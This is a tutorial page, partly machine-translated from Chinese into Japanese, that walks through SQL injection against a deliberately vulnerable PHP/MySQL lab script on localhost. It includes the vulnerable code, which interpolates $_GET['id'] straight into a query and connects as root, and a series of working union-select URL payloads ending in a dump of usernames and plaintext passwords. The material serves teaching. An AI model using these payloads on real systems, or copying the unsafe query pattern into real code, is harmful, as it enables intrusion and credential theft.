ホームページ  >  記事  >  バックエンド開発  >  PHP での SQL インジェクションの完全なプロセス

PHP での SQL インジェクションの完全なプロセス

不言
不言オリジナル
2018-04-10 10:32:4821373ブラウズ

この記事の内容は、PHP での SQL インジェクションの完全なプロセスです。必要な友人はそれを参照してください。

SQL インジェクションのスキルをいくつか学んだ後、以下は PHP+ の SQL インジェクションです。 MYSQL の簡単な練習

まず 2 つの MYSQL データ テーブルを観察します

ユーザー レコード テーブル:

REATE TABLE `php_user` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
`userlevel` char(2) NOT NULL default '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');
INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');


製品レコード リスト:

CREATE TABLE `php_product` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(100) NOT NULL default '',
`price` float NOT NULL default '0',
`img` varchar(200) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');
INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');


次のファイルは show_product です.phpを使用して商品一覧を表示します。 SQL インジェクションは、このファイルの SQL ステートメントの脆弱性も悪用します

<?php
$conn = mysql_connect("localhost", "root", "root");
if(!$conn){
echo "数据库联接错误";
exit;
}
if (!mysql_select_db("phpsql")) {
echo "选择数据库出错" . mysql_error();
exit;
}
$tempID=$_GET[&#39;id&#39;];
if($tempID<=0 || !isset($tempID)) $tempID=1;
$sql = "SELECT * FROM php_product WHERE id =$tempID";
echo $sql.&#39;<br>&#39;;
$result = mysql_query($sql);
if (!$result) {
echo "查询出错" . mysql_error();
exit;
}
if (mysql_num_rows($result) == 0) {
echo "没有查询结果";
exit;
}
while ($row = mysql_fetch_assoc($result)) {
echo &#39;ID:&#39;.$row["id"].&#39;<br>&#39;;
echo &#39;name:&#39;.$row["name"].&#39;<br>&#39;;
echo &#39;price:&#39;.$row["price"].&#39;<br>&#39;;
echo &#39;image:&#39;.$row["img"].&#39;<br>&#39;;
}
?>


次のステートメントに注目してください: $sql = "SELECT * FROM php_product WHERE id =$tempID";

$tempID は $ から取得されます_得る 。 SQL インジェクションの目的を達成するために、この変数の値を構築できます

次のリンクをそれぞれ構築します:

1、http://localhost/phpsql/index.php?id=1

次の出力を取得します

SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句


//ID 1の製品情報リストを取得します

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

2、 http://localhost/phpsql/index.php?id=1 or 1=1

得到输出

SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句


//一共两条产品资料列表

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:2

name:name_2

price:35.25

image:images/name_2.jpg

1和2都得到资料列表输出,证明SQL语句执行成功

3、判断数据表字段数量

http://localhost/phpsql/index.php?id=1 union select 1,1,1,1

得到输出

SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句


//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:1

name:1

price:1

image:1

4、判断数据表字段类型

http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)

得到输出

SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)


ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:0

name:A

price:0

image:A

注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面

为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型

5、大功告成,得到我们想要的东西:

http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user

得到输出:

SELECT * FROM php_product WHERE id =10000 Union select 1,username,1,password from php_user

//2つのユーザー情報が出力され、nameはユーザー名、imageはユーザーのパスワードです。

ID:1

名前:seven

価格:1

画像:seven_pwd

ID:1

名前:swons

価格:1

image:swons_pwd

URLのID=10000は製品情報を取得するためではなく、次のユニオンのクエリ結果を取得するだけであることに注意してください。より実際的な状況では、ID の値は 2 と 4 の位置に置く必要があります。この方法でのみ、前の select ステートメントと一致させることができます。これは、ユニオン クエリ

ステートメントの特徴です

注:

この単純な注入方法は、より環境固有です。実際にはこれよりも複雑です。しかし原理は同じです。

関連するおすすめ:

SQLインジェクションを防ぐPHPデータセキュリティメソッド

SQLインジェクションを防ぐPHPメソッドの例



以上がPHP での SQL インジェクションの完全なプロセスの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。